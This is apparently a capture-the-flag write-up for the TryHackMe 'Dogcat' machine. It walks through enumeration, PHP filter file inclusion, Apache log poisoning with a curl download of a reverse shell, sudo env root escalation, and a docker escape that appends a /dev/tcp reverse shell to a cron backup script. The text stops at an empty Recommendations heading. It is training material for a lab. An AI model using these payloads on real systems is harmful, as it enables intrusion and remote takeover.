GitHub icon LinkedIn icon d="M6.667 4h18.667c1.467 0 2.667 1.2 2.667 2.667v18.667c0 1.467-1.2 2.667-2.667 2.667H6.667A2.675 2.675 0 0 1 4 25.334V6.667C4 5.2 5.2 4 6.667 4zm16.946 8.44c.64-.533 1.387-1.173 1.72-1.88-.547.28-1.2.453-1.92.547.667-.48 1.>
Writeup - Dogcat (THM)
5 min read

Writeup - Dogcat (THM)

This is a writeup for the Dogcat machine from the TryHackMe site.

Enumeration

First, let's start with a scan of our target with the following command:

nmap -sV -T4 -Pn 10.10.11.146

Two TCP ports are discovered:

  • 22/tcp : SSH port (OpenSSH 7.6p1)
  • 80/tcp : HTTP web server (Apache 2.4.38)

Exploit

In a first step I start by making a scan of the website folders:

We find a page cat.php, it is surely the page which provides the random images of cat. With a little deduction I find a similar page: dog.php.

I notice the use of an argument when I click on one of the buttons. So I try a Local-Remote File Inclusion, but without success. An error tells us that the options are: dog & cat.

After some research I find the following page: PHP Base64 Filter. These are techniques to bypass security checks for Local-Remote File Inclusion. I try the version using a PHP filter:

http://10.10.91.89/?view=php://filter/read=convert.base64-encode/resource=cat/../index

I get the contents of the index file encoded in base64 :

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

I can also use the same principle to get the content of the flag.php flag.

┌──(d3vyce㉿kali)-[~/Documents]
└─$ echo "PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=" | base64 -d
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>

Pour faire une injection de commande //TODO

[11/May/2022:12:26:50 +0000] "GET /?view=php://filter/read=convert.base64-encode/resource=cat/../../../../etc/passwd&ext&test=id HTTP/1.1" 400 0 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data) "
http://10.10.91.89/?view=php://filter/resource=cat/../../../../../var/log/apache2/access.log&ext&test=curl%2010.8.3.186:80/reverse.php%20%3E%20reverse.php

I now have a reverse shell as www-data.

$ cd /var/www
$ ls
flag2_QMW7JvaY2LvK.txt
html
$ cat flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}

I can get the second flag.

Privilege escalation

I start by checking the sudo permissions of my user :

I have the permission to run the env command as root. So I look on GTFObin to see if there is a possibility to launch a shell with this command: env sudo.

With the following command I create a root shell.

cd /root
ls
flag3.txt
cat flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}

I can get the third flag. After some research I notice a dockerenv file. So we are in a docker and I will have to find a way to get out to get the last flag.

ls -la
total 80
drwxr-xr-x   1 root root 4096 May 11 11:59 .
drwxr-xr-x   1 root root 4096 May 11 11:59 ..
-rwxr-xr-x   1 root root    0 May 11 11:59 .dockerenv
drwxr-xr-x   1 root root 4096 Feb 26  2020 bin
drwxr-xr-x   2 root root 4096 Feb  1  2020 boot
drwxr-xr-x   5 root root  340 May 11 11:59 dev
drwxr-xr-x   1 root root 4096 May 11 11:59 etc
drwxr-xr-x   2 root root 4096 Feb  1  2020 home
drwxr-xr-x   1 root root 4096 Feb 26  2020 lib
drwxr-xr-x   2 root root 4096 Feb 24  2020 lib64
drwxr-xr-x   2 root root 4096 Feb 24  2020 media
drwxr-xr-x   2 root root 4096 Feb 24  2020 mnt
drwxr-xr-x   1 root root 4096 May 11 11:59 opt
dr-xr-xr-x 112 root root    0 May 11 11:59 proc
drwx------   1 root root 4096 Mar 10  2020 root
drwxr-xr-x   1 root root 4096 Feb 26  2020 run
drwxr-xr-x   1 root root 4096 Feb 26  2020 sbin
drwxr-xr-x   2 root root 4096 Feb 24  2020 srv
dr-xr-xr-x  13 root root    0 May 11 11:59 sys
drwxrwxrwt   1 root root 4096 Mar 10  2020 tmp
drwxr-xr-x   1 root root 4096 Feb 24  2020 usr
drwxr-xr-x   1 root root 4096 Feb 26  2020 var
ls /otp
ls: cannot access '/otp': No such file or directory
ls /opt
backups

In the /opt folder I find a backups file with the following content:

#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
backup.sh

It is most certainly a script that runs regularly with a CRON job. Knowing that I can write to the file, I add the following line:

echo "bash -i >& /dev/tcp/10.8.3.186/2345 0>&1" >> backup.sh

After a few seconds, I have a reverse shell as root but on the machine and not in a docker.

I can now recover the last flag.

# cat /root/flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

Recommendations

To patch this host I think it would be necessary to perform a number of actions: